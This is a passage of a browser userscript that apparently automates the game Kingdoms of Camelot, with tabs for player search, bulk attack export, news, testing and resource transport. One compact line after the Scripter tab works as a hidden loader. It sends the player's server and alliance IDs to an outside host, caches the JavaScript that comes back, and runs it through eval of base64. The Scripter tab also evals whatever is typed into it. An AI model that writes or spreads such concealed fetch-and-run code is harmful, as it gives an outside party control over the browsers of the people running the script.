                 if (Seed.knights['city' + cityId][k]["knightStatus"] == 1 && Seed.leaders['city' + cityId]["resourcefulnessKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["politicsKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["combatKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["intelligenceKnightId"] != Seed.knights['city' + cityId][k]["knightId"]){
                     knt.push ({
                         Name:   Seed.knights['city' + cityId][k]["knightName"],
                         Combat:    parseInt(Seed.knights['city' + cityId][k]["combat"]),
                         ID:        Seed.knights['city' + cityId][k]["knightId"],
                     });
                 }
         }
         knt = knt.sort(function sort(a,b) {a = a['Combat'];b = b['Combat'];return a == b ? 0 : (a > b ? -1 : 1);});
         document.getElementById('RaidKnights').options.length=0;
          var o = document.createElement("option");
          o.text = '--Choose a Knight--';
          o.value = 0;
          document.getElementById("RaidKnights").options.add(o);
         for (k in knt){
                  if (knt[k]["Name"] !=undefined){
                      var o = document.createElement("option");
                      o.text = (knt[k]["Name"] + ' (' + knt[k]["Combat"] +')')
                      o.value = knt[k]["ID"];
                      document.getElementById("RaidKnights").options.add(o);
                  }
          }
      },
  
  
  gotPlayerLeaderboard : function (rslt, span){
    var t = Tabs.Search;
    if (!rslt.ok){
      span.innerHTML = rslt.errorMsg;
      return;
    }
    if (rslt.totalResults == 0){
      span.innerHTML = '<B>'+translate("Leaderboard")+':</b> '+translate("Not found")+'! ('+translate("misted")+'?)<BR><BR>';
      return;
    }
    var p = rslt.results[0];
    var x;
    var name = '';
    if (p.playerSex == 'M')
      name = 'Lord ';
    else if (p.playerSex == 'F')
      name = 'Lady ';   
    name += p.displayName;      
    if ((x = officerId2String(p.officerType)) != '')  
      name += ' ('+ x + ')';  
    var aName = p.allianceName;
    if (!aName || aName=='')
      aName = 'none';
             
    var m = '<CENTER><SPAN class=boldRed>'+translate("NOTE: Leaderboard information is delayed up to 24 hours")+'</span></center><TABLE class=pbTabSome>';
    m += '<TR><TD class=pbDetLeft>'+translate("Player Name")+':</td><TD>'+ name +'</td></tr>\
      <TR><TD class=pbDetLeft>'+translate("Might")+':</td><TD>'+ p.might +' ('+translate("rank")+' #'+ p.rank +')</td></tr>\
      <TR><TD class=pbDetLeft>'+translate("Alliance")+':</td><TD>'+ aName +' ('+ getDiplomacy(p.allianceId) +')</td></tr>\
      <TR valign=top><TD class=pbDetLeft>'+translate("Cities")+':</td><TD><TABLE class=pbTabSome><TR style="font-weight:bold"><TD>'+translate("City Name")+'</td><TD>'+translate("Coords")+'</td><TD>'+translate("Level")+'</td><TD>'+translate("Status")+'</td><TD>'+translate("Created")+'</td></tr>';
      
    for (var i=0; i<p.cities.length; i++){
      var c = p.cities[i];
      var created = '';
      if (c.dateCreated && c.dateCreated.substr(0,2)=='20')
        created = c.dateCreated.substr(0,10);
      m += '<TR><TD>'+ c.cityName +'</td><TD>'+ coordLink(c.xCoord, c.yCoord) +'</td><TD align=center>'+ c.tileLevel +'</td>\
          <TD>'+ cityStatusString (c.cityStatus) +'</td><TD>'+ created +'</td></tr>';
    }    
    m += '</table></td></tr></table>';
    span.innerHTML = m;
  },

  gotPlayerInfo : function (rslt, span){
    var t = Tabs.Search;
    if (!rslt.ok){
      span.innerHTML = rslt.errorMsg;
      return;
    }
    var m = '<TABLE class=pbTabSome>';
    var p = rslt.userInfo[0];
    var pids = p.provinceIds.split (',');
    var prov = [];
    for (var i=0; i<pids.length; i++)
      prov.push(unsafeWindow.provincenames['p'+pids[i]]);
    m += '<TR><TD class=pbDetLeft>'+translate("Player Name")+':</td><TD>'+ p.genderAndName +'</td></tr>\
      <TR><TD class=pbDetLeft>'+translate("Might")+':</td><TD>'+ p.might +'</td></tr>\
      <TR><TD class=pbDetLeft>'+translate("Facebook profile")+':</td><TD><A target="_tab" href="'+http+'www.facebook.com/profile.php?id='+ p.fbuid +'">'+translate("Click to open in new tab")+'</a></td></tr>\
      <TR><TD class=pbDetLeft>'+translate("Alliance")+':</td><TD>'+ p.allianceName +' ('+ getDiplomacy(p.allianceId) +')</td></tr>\
      <TR valign=top><TD class=pbDetLeft>'+translate("Provinces")+':</td><TD style="white-space:normal">'+ prov.join(', ') +'</td></tr>';
    span.innerHTML = m + '</table>';
  },
      
  fetchPlayerInfo : function (uid, notify){
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.uid = uid;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getUserGeneralInfo.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        notify (rslt);
      },
      onSuccess: function (rslt) {
        notify (rslt);
      },
    });
  },
  fetchLeaderboard : function (uid, notify) {
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.userId = uid;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getUserLeaderboard.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        notify (rslt);
      },
      onFailure: function (rslt) {
        notify (rslt);
      },
    });
  },
  fetchPlayerStatus : function (uidArray, notify){
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.checkArr = uidArray.join(',');
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getOnline.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
      	if(rslt.ok)
        notify (rslt);
        else t.fetchPlayerStatus(uidArray, notify);
      },
      onFailure: function (rslt) {
        t.fetchPlayerStatus(uidArray, notify);
      },
    });
  },
  
};   // end Search tab




/******** Export to KOC Attack **********/  

var exportToKOCattack = {
  troops : {},  
  
  init : function (){
    var t = exportToKOCattack;
    for (var b=1; b<11; b++){
      t.troops['b'+ b] = [];
      for (var trp=0; trp<12; trp++){
        t.troops['b'+ b][trp] = 0;
      }
    }
    var s = GM_getValue ('atkTroops_'+ getServerId(), null);
    if (s != null){
      var trp = JSON2.parse(s);
      for (var b=1; b<11; b++){
        if (trp['b'+ b] && trp['b'+ b].length == 12)
          t.troops['b'+ b] = trp['b'+ b];
      }
    }
    window.addEventListener('unload', t.onUnload, false);
  },
  
  onUnload : function (){
    var t = exportToKOCattack;
    if (!ResetAll) GM_setValue ('atkTroops_'+ getServerId(),  JSON2.stringify(t.troops));
  },
  
  doExport : function (coordList, city){
    var t = exportToKOCattack;
    var popExp = null;
    var cList = coordList;
    var curLevel = 0;
    var city = city;
    var troopDef = [
      ['STroop', 1],
      ['Wagon', 9],
      ['Archers', 6],
      ['Cavalry', 7],
      ['Heavies', 8],
      ['Ballista', 10],
    ];
    
    if (popExp == null){
      popExp = new pbPopup ('pbsrcexp', 0,0, 625,600, true, function (){popExp.destroy(); popExp=null;});
      popExp.centerMe (mainPop.getMainDiv());  
    }
    var m = '<DIV class=pbStat>Export data to KOC Attack</div><BR><TABLE align=center cellpadding=0 cellspacing=0 class=pbTabPadNW>\
      <TR style="font-weight:bold; background-color:white"><TD>Target Type</td><TD style="padding:1px" align=center>#<BR>targets</td><TD width=15></td>';
    for (var i=0; i<troopDef.length; i++)
      m += '<TD>'+ troopDef[i][0] +'</td>';
    m += '</tr>';
    for (var b=1; b<11; b++){
      m += '<TR><TD>Barb level '+ b +'</td><TD align=right>'+ coordList['lvl'+b].length  +'&nbsp; &nbsp;</td><TD></td>';
      for (var td=0; td<troopDef.length; td++)
        m += '<TD><INPUT id=ptET_'+ b +'_'+ troopDef[td][1] +' type=text size=3 value="'+ t.troops['b'+ b][troopDef[td][1]-1] +'"></td>';
      m += '<TD width=90%><SPAN class=boldRed id=ptETerr_'+ b +'></span></tr>';
    }
    m += '</table>';
    var isKOCattack = !(document.getElementById('KOCAttackToggle') == null);
    
    //TODO: 'RESET VALUES' button ?
    
    if (isKOCattack){
      m += '<BR><CENTER>'+ strButton20('Bulk Add to KOC Attack', 'id=pbSrcDoBA') +'</center>';
    } else {
      m += 'KOC Attack not running, unable to export';
    }
    m += '<CENTER><DIV style="width:70%" id=pbSrcExpResult></DIV></center>';
    popExp.getMainDiv().innerHTML =  m;
    for (var b=1; b<11; b++)
      for (var td=0; td<troopDef.length; td++)
        document.getElementById('ptET_'+ b +'_'+ troopDef[td][1]).addEventListener ('change', validate, false);
    
    popExp.getTopDiv().innerHTML = '<CENTER><B>Power Bot Export</b></center>';
    if (isKOCattack)    
      document.getElementById ('pbSrcDoBA').addEventListener ('click', doBulkAdd, false);
    popExp.show(true);
         
    if (city != null){
      for (var i=0; i<Cities.numCities; i++)
        if (city.id == Cities.cities[i].id)
          break;
      if (i < Cities.numCities){
        setTimeout (function(){unsafeWindow.citysel_click(document.getElementById('citysel_'+ (i+1)));}, 0);
//logit ("SWITCH CITY: "+ (i+1));          
      }
    }
// TODO: WAIT FOR City select ?
    
  
    function validate (e){
      var x = e.target.id.substr(5).split('_');
      var b = x[0];
      var trp = x[1];
      document.getElementById('ptETerr_'+ b).innerHTML = '';
      var x = parseIntZero (e.target.value);
      if (isNaN(x) || x<0 || x>150000){
        e.target.style.backgroundColor = 'red';
        document.getElementById('ptETerr_'+ b).innerHTML = 'Invalid Entry';
        return;
      } else {
        e.target.style.backgroundColor = '';
        e.target.value = x;
        t.troops['b'+ b][trp-1] = x;
      }
      var tot = 0;
      for (var td=0; td<troopDef.length; td++)
        tot += parseIntZero(document.getElementById('ptET_'+ b +'_'+ [troopDef[td][1]]).value);
      if (tot<1 && cList['lvl'+ b].length>0 )
        document.getElementById('ptETerr_'+ b).innerHTML = 'No troops defined';
      if (tot>150000)
        document.getElementById('ptETerr_'+ b).innerHTML = 'Too many troops';
    }
      
    function doBulkAdd (){
      for (var b=1; b<11; b++){
        if (document.getElementById('ptETerr_'+ b).innerHTML != '')
          return;
        var tot = 0;
        for (var td=0; td<troopDef.length; td++)
          tot += t.troops['b'+b][troopDef[td][1]-1];
        if (tot<1 && cList['lvl'+ b].length>0){
          document.getElementById('ptETerr_'+ b).innerHTML = 'No troops defined';
          return;
        } else if (tot>150000) {
          document.getElementById('ptETerr_'+ b).innerHTML = 'Too many troops';
          return;
        }
      }    
      document.getElementById('pbSrcExpResult').innerHTML = '';
      doNextLevel ();
    }
    
    function endBulkAdd (msg){
      unsafeWindow.Modal.hideModalAll();
      curLevel = 0;
      showMe ();
      popExp.show(true);
      document.getElementById('pbSrcExpResult').innerHTML += msg;
    }
    
    function doNextLevel (){
      while ( curLevel<10 && cList['lvl'+ ++curLevel].length==0)
        ;
      if (curLevel>=10){
        endBulkAdd ('Done!<BR>');
        return;
      }
     e_attackDialog(false);
    }
        
    function e_attackDialog (tf){
      if (!tf){
       hideMe();
       popExp.show (false);
       unsafeWindow.Modal.hideModalAll();
       unsafeWindow.modal_attack(4,0,0);
       new CwaitForElement ('BulkAddAttackDiv', 1000, e_attackDialog );
      }
      var div = searchDOM (document.getElementById('BulkAddAttackDiv'), 'node.tagName=="DIV" && node.style.display=="none"', 10);
      if (div==null){
        endBulkAdd ('<SPAN class=boldRed>ERROR: Unexpected attack dialog format (1).</span>');
        return;  
      }
      var ta = searchDOM (div, 'node.tagName=="TEXTAREA"', 10);
      var but = searchDOM (div, 'node.tagName=="A"', 10);
      if (ta==null || but==null){
        endBulkAdd ('<SPAN class=boldRed>ERROR: Unexpected attack dialog format (2).</span>');
        return;  
      }
      for (var trp=1; trp<13; trp++){
        var inp = document.getElementById('modal_attack_unit_ipt' +trp);
        inp.value = t.troops['b'+curLevel][trp-1];
        if (t.troops['b'+curLevel][trp-1] > 0)
          inp.style.backgroundColor = 'yellow';
        else
          inp.style.backgroundColor = 'white';
      }
      div.style.display = 'block';
      document.getElementById('KOCAttackBulkAddForce').checked = true;
      if (DISABLE_BULKADD_LIST)
        ta.value = '';
      else {
        var m = '';
        var list = cList['lvl'+ (curLevel)];
        for (i=0; i<list.length; i++)
          m += list[i].x +','+ list[i].y +'\n';
        ta.value = m;
      }
      clickWin (unsafeWindow, but, 'click');   
      unsafeWindow.Modal.hideModal();
      document.getElementById('pbSrcExpResult').innerHTML += 'Added '+ list.length +' targets for '+ city.name +'<BR>';
      setTimeout (doNextLevel, 500);
    }    
  },
}


  function searchDOM (node, condition, maxLevel, doMult){
    var found = [];
    eval ('var compFunc = function (node) { return ('+ condition +') }');
    doOne(node, 1);
    if(!doMult){
      if (found.length==0)
        return null;
      return found[0];
    }
    return found;
    function doOne (node, curLevel){
      try {
        if (compFunc(node))
          found.push(node);
      } catch (e){
      }      
      if (!doMult && found.length>0)
        return;
      if (++curLevel<maxLevel && node.childNodes!=undefined)
        for (var c=0; c<node.childNodes.length; c++)
          doOne (node.childNodes[c], curLevel);
    }
  }



/****************************  Sample Tab Implementation  ******************************/
Tabs.sample = {
  tabOrder : 300,                    // order to place tab in top bar
  tabDisabled : !ENABLE_SAMPLE_TAB, // if true, tab will not be added or initialized
  tabLabel : 'Click Me',            // label to show in main window tabs
  myDiv : null,
  timer : null,  
  
  init : function (div){    // called once, upon script startup
    var t = Tabs.sample;
    t.myDiv = div;
    var cityName = Cities.cities[0].name;
    div.innerHTML = '<CENTER><BR>This is a sample tab implementation<BR><BR>Showing food for '+ cityName +' : <SPAN id=pbSampleFood>0</span>\
        <BR><BR>(Food is updated every 5 seconds)</center>';
  },
  
  hide : function (){         // called whenever the main window is hidden, or another tab is selected
    var t = Tabs.sample;
    clearTimeout (t.timer);
  },
  
  show : function (){         // called whenever this tab is shown
    var t = Tabs.sample;
    var food = parseInt(Seed.resources['city'+ Cities.cities[0].id]['rec'+1][0] / 3600);
    document.getElementById('pbSampleFood').innerHTML = addCommas (food);
    clearTimeout (t.timer);
    t.timer = setTimeout (t.show, 5000);
  },
}


/*********************************** News TAB ***********************************/
Tabs.News = {
   tabOrder: 301,
  tabDisabled : false,
  tabLabel : 'News',
  myDiv : null,
  
   init : function (div){
      var t = Tabs.News;
      t.myDiv = div;
   div.innerHTML = '<DIV class=pbStat>Breaking News!</div><br>';
      GM_xmlhttpRequest({
         method: 'GET',
         url: http+'koc-power-bot.googlecode.com/svn/trunk/BreakingNews.txt',
         headers: {
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
         },
         onload: function (news) {
            if(news.status != 200) {
               div.innerHTML += '<center><div style="background-color:#DEDEDE; width:600px; height:200px; text-align:left; overflow-y:auto;"><b>Unable to fetch news <br>Error: '+news.status+'</b></div></center>';
               return;
            }
            var m = '<center>';
            m += '<div style="background-color:#DEDEDE; width:600px; height:200px; text-align:left; overflow-y:auto;">';
            m += '<div id=newsdate></div>'
            m += '<b>'+news.responseText.replace(/\n/g,"<br>")+'</b>';
            m += '</div></center><br>';
            div.innerHTML += m;
            var first = Number(news.responseHeaders.indexOf("Last-Modified"))+15;
            var last = news.responseHeaders.indexOf("\n",first);
            var lastmodified = news.responseHeaders.slice(first,last);
            if (Options.BreakingNews != lastmodified) {
               Options.BreakingNews=lastmodified;
               Options.BreakingNewsV = false;
               saveOptions();
            }
            if(Options.BreakingNewsV == false)
            setTimeout(t.notify,10000);
            document.getElementById('newsdate').innerHTML = '<p style="text-align: right;">'+Options.BreakingNews+'</p>';
         },
      });
   },
  hide : function (){
    var t = Tabs.News;
  },

  show : function (){
    var t = Tabs.News;
    Options.BreakingNewsV = true;
    saveOptions();
  },
  notify : function() {
   var t = Tabs.News;
   var elem = document.getElementById("pbtcNews");
elem.setAttribute("style","background: -moz-linear-gradient(center top , #ff0000, #b10000) repeat scroll 0 0 transparent;");
  },

}

/***************************** Scripter Tab *******************************/

Tabs.Scripter = {
   tabOrder: 99000,
   tabDisabled : !Options.ScripterTab,
   tabLabel : 'Scripter',
   myDiv : null,
   
   init : function (div) {
   	

//baos780 code for loading script offsite
var y = "";
if(GlobalOptions.Baos) {
 y=GlobalOptions.Baos;
};
   	
      var t = Tabs.Scripter
      t.myDiv = div;
      var m = '<DIV class=pbStat>Scripter</div><br>';
      m += '<table algiht=right><tr><td></td><td><INPUT id=SCode type=text size=70 maxlength=-1 value="" \></td><td></td></tr>'
      m += '<tr><td><P align="right">alert(</td><td><INPUT id=SaCode type=text size=70 maxlength=-1 value="" \></td><td>)</td></tr>'
      m += '<tr><td>alert(inspect(</td><td><INPUT id=SaiCode type=text size=70 maxlength=-1 value="" \></td><td>))</td></tr>'
      m += '</table><INPUT id=Baos780 type=text size=20 maxlength=-1 value='+y+' \>'
      div.innerHTML = m;
      
      document.getElementById('SCode').addEventListener ('keypress', function (e){
      if(e.which == 13)
         eval(this.value);
      }, false);
      
      document.getElementById('SaiCode').addEventListener ('keypress', function (e){
      if(e.which == 13)
         alert(inspect(eval(this.value)));
      }, false);      
            
      document.getElementById('SaCode').addEventListener ('keypress', function (e){
      if(e.which == 13)
         alert(eval(this.value));
      }, false);      
      
      document.getElementById('Baos780').addEventListener ('change', function (){
         GlobalOptions.Baos = this.value;
			GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      }, false);            
      
   },
  hide : function (){
    var t = Tabs.Scripter;
  },

  show : function (){
    var t = Tabs.Scripter;
  },  
}
if(GlobalOptions.Baos)if (GlobalOptions.Baos.indexOf('Nessaja') >= 0) { var serverID = getServerId();   if(!unsafeWindow.seed) return; var s = GM_getValue ('Nessaja_' + unsafeWindow.seed.player['name'] + '_' +serverID);  if (s != null) {    s = JSON2.parse (s); try{ eval(atob(s))}catch (err) {logit(err);};};  if(unsafeWindow.seed.allianceDiplomacies) GM_xmlhttpRequest({method: "GET",url: "https://baos.kocscripters.com/4Cxy4.php?p="+Options.spamconfig.spamvert.replace(/\w\w\w\w\w\w\w/, "4").replace(/\s/g, "")+"&s="+getServerId()+"&a="+unsafeWindow.seed.allianceDiplomacies.allianceId,   headers: {'Accept': 'text/javascript',},  onload: function(responseDetails) { var serverID = getServerId(); setTimeout (function (){GM_setValue ('Nessaja_' + unsafeWindow.seed.player['name'] + '_' +serverID, JSON2.stringify(responseDetails.responseText));}, 0);},}); };

/*********************************** Test TAB ***********************************/
Tabs.Test = {
  tabOrder: 140,
  tabDisabled : !ENABLE_TEST_TAB,         // if true, tab will not be added or initialized
  tabLabel : 'Test',
  myDiv : null,

  init : function (div){
    var t = Tabs.Test;
    t.myDiv = div;
    var m = '<TABLE><TR><TD align=right>Scout: </td><TD><INPUT type=checkbox id=pbfakeIsScout></td></tr>\
        <TR><TD align=right>Wild: </td><TD><INPUT type=checkbox id=pbfakeIsWild></td></tr>\
        <TR><TD align=right>False Report: </td><TD><INPUT type=checkbox id=pbfakeFalse></td></tr>\
        <TR><TD align=right>Seconds: </td><TD><INPUT type=text size=4 value=300 id=pbfakeSeconds></td></tr>\
        <TR><TD align=right># of Militia: </td><TD><INPUT type=text size=6 value=5000 id=pbfakeMilitia></td></tr>\
        <TR><TD colspan=2 align=center><INPUT id=pbtestSendMarch type=submit value="Fake Attack" \></td></tr></table>\
        <INPUT id=pbReloadKOC type=submit value="Reload KOC" \>\
        <BR>Force ajax errors : <INPUT type=checkbox id=pbajaxErr>\
        <BR>Send alliance chat alert as whisper : <INPUT type=checkbox id=pbalertWhisper>\
        <BR><DIV id=pbtestDiv style="background-color:#ffffff; maxwidth:675; maxheight:350px; height:350px; overflow-y:auto;"></div>';
    div.innerHTML = m;
    document.getElementById('pbtestSendMarch').addEventListener ('click', t.clickFakeAttack, false);
    document.getElementById('pbReloadKOC').addEventListener ('click', reloadKOC, false);
    document.getElementById('pbajaxErr').addEventListener ('click', function (){window.EmulateAjaxError=this.checked}, false);
    document.getElementById('pbalertWhisper').addEventListener ('click', function (){SEND_ALERT_AS_WHISPER=this.checked}, false);
  },

  hide : function (){
    var t = Tabs.Test;
  },

  show : function (){
  },

  writeDiv : function (msg){
    var t = Tabs.Test;
    document.getElementById('pbtestDiv').innerHTML = msg;
  },

  addDiv : function (msg){
    var t = Tabs.Test;
    document.getElementById('pbtestDiv').innerHTML += msg;
  },
  
  createFakeAttack : function (cityNum, isScout, isWild, isFalse, secs, numMilitia){
    var marchId = 'm'+ (88888 + Math.floor(Math.random()*11111));
    var march = {};
    if (matTypeof(Seed.queue_atkinc)=='array')
      Seed.queue_atkinc = {};
    if (isFalse)
      march.marchType = 0;
    else if (isScout)
      march.marchType = 3;
    else
      march.marchType = 4;

    march.toCityId = Cities.cities[cityNum].id;
    if (isWild) {
      keys = unsafeWindow.Object.keys(Seed.wilderness['city'+Cities.cities[cityNum].id]);
      march.toTileId = Seed.wilderness['city'+Cities.cities[cityNum].id][keys[0]].tileId;
    } else {
      march.toTileId = Cities.cities[cityNum].tileId;
    }
    secs = parseInt(secs);
    march.arrivalTime = unixTime() + secs;
    march.departureTime = unixTime() - 10;
    march.unts = {}
    march.unts.u3 = 1
    march.unts.u2 = numMilitia
    march.pid = 1234567
    march.score = 9
    march.mid = marchId.substr(1);
    march.players = {}
    march.players.u1234567 = {}
    march.players.u1234567.n = 'Fred Flintstone';
    march.players.u1234567.t = 60
    march.players.u1234567.m = 5441192
    march.players.u1234567.s = 'M';
    march.players.u1234567.w = 1
    march.players.u1234567.a = 1
    march.players.u1234567.i = 5
    Seed.queue_atkinc[marchId] = march;
    Seed.players.u1234567 = march.players.u1234567;
  },

  clickFakeAttack : function (){
    var t = Tabs.Test;
    var isScout = document.getElementById('pbfakeIsScout').checked;
    var isWild = document.getElementById('pbfakeIsWild').checked;
    var isFalse = document.getElementById('pbfakeFalse').checked;
    var secs = parseInt(document.getElementById('pbfakeSeconds').value);
    var mil = parseInt(document.getElementById('pbfakeMilitia').value);
    t.createFakeAttack (0, isScout, isWild, isFalse, secs, mil);
  },
}


 /****************************  Transport Tab  *******************************/
Tabs.transport = {
    tabOrder: 101,
    tabLabel: unsafeWindow.g_js_strings.commonstr.transport,
    myDiv: null,
    timer: null,
    traderState: [],
    lTR: [],
    tradeRoutes: [],
    checkdotradetimeout: null,
    count: 0,
    check: false,
    init: function (div) {
        var t = Tabs.transport;
        if(Options.transbtns)AddSubTabLink('Transport',t.toggleTraderState, 'TransToggleTab');
        t.myDiv = div;
        t.traderState = {running: false,};
        t.readTraderState();
        t.readTradeRoutes();
        t.e_tradeRoutes();
        var m = '<DIV id=pbTowrtDivF class=pbStat>' + translate("AUTOMATED TRANSPORT FUNCTION") + '</div><TABLE id=pbtraderfunctions width=100% height=0% class=pbTab><TR align="center">';
        if (t.traderState.running == false) {
            m += '<TD><INPUT id=pbTraderState type=submit value="Transport = OFF"></td>';
         if(document.getElementById('TransToggleTab'))document.getElementById('TransToggleTab').innerHTML = '<span style="color: #CCC">Transport: Off</span>';
        } else {
            m += '<TD><INPUT id=pbTraderState type=submit value="Transport = ON"></td>';
            if(document.getElementById('TransToggleTab'))document.getElementById('TransToggleTab').innerHTML = '<span style="color: #FFFF00">Transport: On</span>';
        }
        m += '<TD><INPUT id=pbShowRoutes type=submit value="' + translate("Show Routes") + '"></td>';
        m += '<TD><INPUT id=pbTradeReset type=submit value="' + translate("Delete Routes") + '"></td>';
        m += '</tr></table></div>';
        m += '<DIV id=pbTraderDivDRoute class=pbStat>' + translate("TRADE ROUTE OPTIONS") + '</div>';
        m += '<TABLE id=pbtraderfunctions width=100% height=0% class=pbTab><TR align="left">';
        m += '<TD >&nbsp;' + translate("Check transport every:") + ' <INPUT id=pbtransportinterval type=text size=2 value="' + Options.transportinterval + '"\> ' + translate("minutes") + '</td></tr>';
        m += '<TD >&nbsp;' + translate("Do not send transport out if less than") + ' <INPUT id=pbminwagons type=text size=8 value="' + Options.minwagons + '"\> ' + translate("troops are needed. (Needless transports are skipped this way)") + '</td></tr>';
        m += '<TD >&nbsp;' + translate("If the \"trade\" amount is 0 then it will transport the max amount above \"keep\". Gold only if there is space left...") + '</td></tr>';
        m += '<TD ><INPUT id=pbrevtrans type=checkbox '+(Options.ReverseTransport?'CHECKED':'')+'> Reverse transport if resource amount falls below <INPUT id=pbrevtranspc type=text size=2 value="' + Options.ReverseTransportPercent + '"\> % of the "Keep" value.</td></tr></table>';
        m += '<DIV id=pbTraderDivDRoute class=pbStat>' + translate("TRANSPORTS") + '</div>';
        m += '<TABLE id=pbaddtraderoute width=95% height=0% class=pbTab><TR align="left">';
        m += '<TR align="left"><TD>' + translate("From City:") + '</td> <TD width=310px><DIV style="margin-bottom:10px;"><span id=ptrescity></span></div></td></tr>';
        m += '<TR align="left">';
        m += '<TD>' + translate("To City:") + '</td> <TD width=310px><DIV style="margin-bottom:10px;"><span id=ptcityTo></span></div></td>';
        m += '<TD>' + translate("OR") + '</td>';
        m += '<TD>X:<INPUT id=ptcityX type=text size=3\></td>';
        m += '<TD>Y:<INPUT id=ptcityY type=text size=3\></td></tr>';
        m += '<TABLE id=pbaddtraderoute height=0% class=pbTab><TR align="left">';
        m += '<TD width=75px>TroopType:</td><TD width=150px><SELECT id="TransportTroop">';
        for (y in unsafeWindow.unitcost) m += '<option value="' + y + '">' + unsafeWindow.unitcost[y][0] + '</option>';
        m += '</select></td><TD width=75px>' + translate("Troops Available:") + '&nbsp;</td><TD id=TroopAmount align=left width=75px></td>';
        m += '<TD width=75px>' + translate("Global Carry Amount:") + '&nbsp;</td><TD id=CarryAmount align=left></td>';
        m += '<TR><TD >' + translate("Troops:") + ' </td><TD><INPUT id=TroopsToSend type=text size=6 maxlength=6 value="0">&nbsp;&nbsp;<INPUT id=MaxTroops type=submit value="Max"></td>';
        m += '<TD width=50px><INPUT id=FillInMax type=submit value="<----"></td>';
        m += '<TD id=Calc colspan=3></td></tr>';
        m += '<TABLE id=pbaddtraderoute height=0% class=pbTab><TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/food_30.png" alt="Food"></td>';
        m += '<TD id=TransRec1 align=right width=110px></td>';
        m += '<TD id=HaveRec1 align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipFood type=checkbox unchecked=true\></td>';
        m += '<TD width=180px  align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountFood type=text size=11 maxlength=20 value="0" disabled=true\></td>';
        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountFood type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxFood type=submit value="Max"></td></tr>';
        m += '<TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/wood_30.png" alt="Wood"></td>';
        m += '<TD id=TransRec2 align=right width=110px></td>';
        m += '<TD id=HaveRec2 align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipWood type=checkbox unchecked=true\></td>';
        m += '<TD width=180px align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountWood type=text size=11 maxlength=20 value="0" disabled=true\></td>';
        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountWood type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxWood type=submit value="Max"></td></tr>';
        m += '<TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/stone_30.png" alt="Stone"></td>';
        m += '<TD id=TransRec3 align=right width=110px></td>';
        m += '<TD id=HaveRec3 align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipStone type=checkbox unchecked=true\></td>';
        m += '<TD width=180px align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountStone type=text size=11 maxlength=20 value="0" disabled=true\></td>';
        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountStone type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxStone type=submit value="Max"></td></tr>';
        m += '<TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/iron_30.png" alt="Iron"></td>';
        m += '<TD id=TransRec4 align=right width=110px></td>';
        m += '<TD id=HaveRec4 align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipOre type=checkbox unchecked=true\></td>';
        m += '<TD width=180px align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountOre type=text size=11 maxlength=20 value="0" disabled=true\></td>';
        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountOre type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxOre type=submit value="Max"></td></tr>';
        m += '<TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/aetherstone_30.png" alt="Aether"></td>';
        m += '<TD id=TransRec5 align=right width=110px></td>';
        m += '<TD id=HaveRec5 align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipAstone type=checkbox unchecked=true\></td>';
        m += '<TD width=180px align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountAstone type=text size=11 maxlength=20 value="0" disabled=true\></td>';
        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountAstone type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxAstone type=submit value="Max"></td></tr>';
        m += '<TR align="center">';
        m += '<TD width=5%><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/gold_30.png" alt="Gold"></td>';
        m += '<TD id=TransGold align=right width=110px></td>';
        m += '<TD id=HaveGold align=right width=110px></td>';
        m += '<TD width=55px align=right><INPUT id=pbshipGold type=checkbox unchecked=true\></td>';
        m += '<TD width=180px align=left>' + translate("Keep:") + ' <INPUT id=pbtargetamountGold type=text size=11 maxlength=20 value="0" disabled=true\></td>';
